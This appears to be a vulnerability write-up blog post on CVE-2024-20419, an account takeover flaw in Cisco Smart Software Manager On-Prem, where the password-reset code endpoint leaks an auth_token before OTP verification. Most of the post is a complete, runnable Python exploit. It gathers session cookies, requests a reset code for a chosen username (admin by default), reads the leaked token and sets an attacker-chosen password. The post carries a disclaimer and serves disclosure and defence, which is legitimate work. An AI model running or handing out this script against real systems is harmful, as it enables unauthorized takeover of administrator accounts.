MOHAMMED ADEL
Published on

Cisco SSM On-Prem; Account Takeover (CVE-2024-20419)

Authors
  • avatar
    Name
    MOHAMMED ADEL
    Twitter

Summary

Cisco Smart Software Manager On-Prem (SSM On-Prem) is susceptible to an account takeover vulnerability, which can be exploited by an unauthenticated attacker to gain unauthorized access and control over user accounts, including administrative accounts. The exploitation can be carried out with just a few HTTP requests, making it an easy and serious threat to affected versions of Cisco Smart Software Manager On-Prem.

Root Cause

The root cause of CVE-2024-20419 lies in the improper handling of authorization tokens related to OTP generation in Cisco Smart Software Manager On-Prem (SSM On-Prem). Specifically, the issue arises in the endpoint responsible for generating a One-Time Password (OTP) for password reset:

/backend/reset_password/generate_code

When a POST request is sent to this endpoint, it is intended to trigger the generation of an OTP, which the user must subsequently verify to authenticate their identity before proceeding with a password reset. However, in the vulnerable versions of the application, the response to this request not only confirms that the OTP code has been sent but also erroneously includes the authorization token (auth_token).

This token is a critical piece of data that should only be issued after the successful verification of the OTP code. By prematurely exposing the token in the response to the OTP generation request, the application inadvertently grants an attacker the means to bypass the verification step. With the token in hand, an attacker can directly authorize themselves to change the password of the targeted account without needing to verify the OTP.

This flaw effectively undermines the intended security mechanism of the password reset process, allowing for an account takeover vulnerability in affected versions of Cisco SSM On-Prem.

Proof of Concept (PoC)

Disclaimer

The script provided in this PoC section is intended solely for educational and informational purposes to help administrators and security professionals understand the vulnerability and its potential impact. Unauthorized use of this script against systems without explicit permission is illegal and unethical. Always conduct security testing within the bounds of the law and with proper authorization.

CVE-2024-20419-PoC.py
# CVE-2024-20419
import requests, sys
from urllib.parse import unquote

# Suppress SSL warnings
requests.packages.urllib3.disable_warnings()

Domain = sys.argv[1] # Domain, https://0xpolar.com:8443
Username = sys.argv[2] # Username, by default its [admin]
password = "Polar@123456780"

print("[*] Cisco Smart Software Manager On-Prem")
print("[*] Account Takeover Exploit")
print("[*] Target: "+Domain)
print("[*] Username: "+Username)
print("\n")

print("[*] Getting Necessary Tokens..")
get_url = Domain+"/backend/settings/oauth_adfs?hostname=polar"

response = requests.get(get_url, verify=False)

def get_cookie_value(headers, cookie_name):
    cookies = headers.get('Set-Cookie', '').split(',')
    for cookie in cookies:
        if cookie_name in cookie:
            parts = cookie.split(';')
            for part in parts:
                if cookie_name in part:
                    return part.split('=')[1].strip()
    return None

set_cookie_headers = response.headers.get('Set-Cookie', '')

xsrf_token = get_cookie_value(response.headers, 'XSRF-TOKEN')
lic_engine_session = get_cookie_value(response.headers, '_lic_engine_session')

if xsrf_token:
    xsrf_token = unquote(xsrf_token)

if not lic_engine_session or not xsrf_token:
    print("Required cookies not found in the response.")
else:
    print("[+] lic_engine_session: "+lic_engine_session)
    print("[+] xsrf_token: "+xsrf_token)
    print("\n[*] Generating Auth Token")
    post_url = Domain+"/backend/reset_password/generate_code"

    headers = {
        'Accept': 'application/json',
        'Content-Type': 'application/json',
        'X-Xsrf-Token': xsrf_token,
        'Sec-Ch-Ua': '',
        'Sec-Ch-Ua-Mobile': '?0',
    }
    cookies = {
        '_lic_engine_session': lic_engine_session,
        'XSRF-TOKEN': xsrf_token,
    }

    payload = {
        'uid': Username
    }

    post_response = requests.post(post_url, headers=headers, cookies=cookies, json=payload, verify=False)

    post_response_json = post_response.json()
    auth_token = post_response_json.get('auth_token')

    if not auth_token:
        print("auth_token not found in the response.")
    else:
        print("[+] Auth Token: "+auth_token)
        print("\n[*] Setting Up a New Password")
        final_post_url = Domain+"/backend/reset_password"

        final_headers = {
            'Accept': 'application/json',
            'Content-Type': 'application/json',
            'X-Xsrf-Token': xsrf_token,
        }
        final_cookies = {
            '_lic_engine_session': lic_engine_session,
            'XSRF-TOKEN': xsrf_token,
        }

        final_payload = {
            'uid': Username,
            'auth_token': auth_token,
            'password': password,
            'password_confirmation': password,
            'common_name': ''
        }
    
        final_post_response = requests.post(final_post_url, headers=final_headers, cookies=final_cookies, json=final_payload, verify=False)
        response_text = final_post_response.text

        if "OK" in response_text:
            print("[+] Password Successfully Changed!")
            print("[+] Username: "+Username)
            print("[+] New Password: "+password)
        else:
            print("[!] Something Went Wrong")
            print(response_text)

References